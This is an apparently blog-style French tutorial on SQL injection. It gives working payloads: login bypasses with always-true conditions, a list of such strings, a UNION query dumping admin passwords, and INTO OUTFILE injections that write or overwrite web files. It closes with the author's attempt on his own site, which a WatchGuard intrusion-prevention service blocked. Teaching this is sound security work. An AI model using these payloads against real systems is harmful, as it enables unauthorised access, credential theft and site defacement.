L’injection SQL est une méthode d’attaque très connue. C’est un vecteur d’attaque extrêmement puissant quand il est bien exploité. Cette faille apparaît quand il est possible d’injecter du code SQL dans les requêtes SQL qui sont faites pour une page web. C’est actuellement la meilleure vulnérabilité Web en rapport fréquence/surface d’exploitation.
Les conséquences d’une faille SQL peuvent être multiples, du contournement de formulaires d’authentification au dump complet de la base de données en passant par l’exécution arbitraire de code.
Beaucoup d’exemples d’injection en français et les solutions pour les sécuriser.
Exemple sur une requête simple
SELECT * from utilisateurs WHERE login='$login' AND password='$password'
Si le pseudo saisi est ‘ OR 1=1#, la requête devient :
SELECT * from utilisateurs WHERE login='' OR 1=1#' AND password='$password'
Equivalente à :
SELECT * from utilisateurs WHERE login='' OR 1=1
Les injections de conditions toujours vraies comme 1=1
SELECT * FROM admin WHERE login='' OR '1'='1' AND pass='' OR '1'='1'
Voici une liste non-exhaustive d’instructions toujours vraies qui peuvent être utilisées
'=' 'OR 1=1 'OR a=a 'OR' 'OR''=' 'OR"=" 'OR'=" 'OR '=" 'OR "=' 'OR ''=' 'OR '='' 'OR "='' 'OR ''="
Les liaisons entre les tables avec UNION
SELECT login, password FROM admin WHERE login='' UNION SELECT login, password from admin # ' and password='$password'
Redirection vers un fichier de sortie et manipulation de fichiers avec SQL !
SQL n’a pas fini de nous étonner : il est même possible d’y manipuler des fichiers ! En effet, lorsque le privilège FILES sous MySQL est accordé à l’utilisateur, il est possible d’utiliser les droits en lecture et en écriture accordés à l’utilisateur mysql du système.
SELECT login, password FROM admin WHERE login='' OR 'X'='X' INTO OUTFILE '../../www/file.txt' #' AND password='$password'"; SELECT boumboum FROM blabla WHERE badparam=-1 UNION SELECT 'Hacked !' INTO OUTFILE '/var/www/target/index.php' ;
Injections SQL avancées
https://www.bases-hacking.org/injections-sql-avancees.html
Lorsque j’ai voulu injecter piregwan-genesis.com est apparue la Firebox de WatchGuard 🙂
Je ne sais pas d’où sort cette protection de la mort de dernière minute WatchGuard Technologies (mon hébergeur ?) mais la tentative d’injection a été stoppée net et je suis très content, persuadé que piregwan-genesis n’est pas à l’abri d’injections.
Le service IPS de WatchGuard Technologies (Intrusion Prevention Service) protège votre réseau contre une large gamme d’activités malveillantes, y compris les injections SQL, les attaques de script intersites et les attaques par dépassement de mémoire tampon.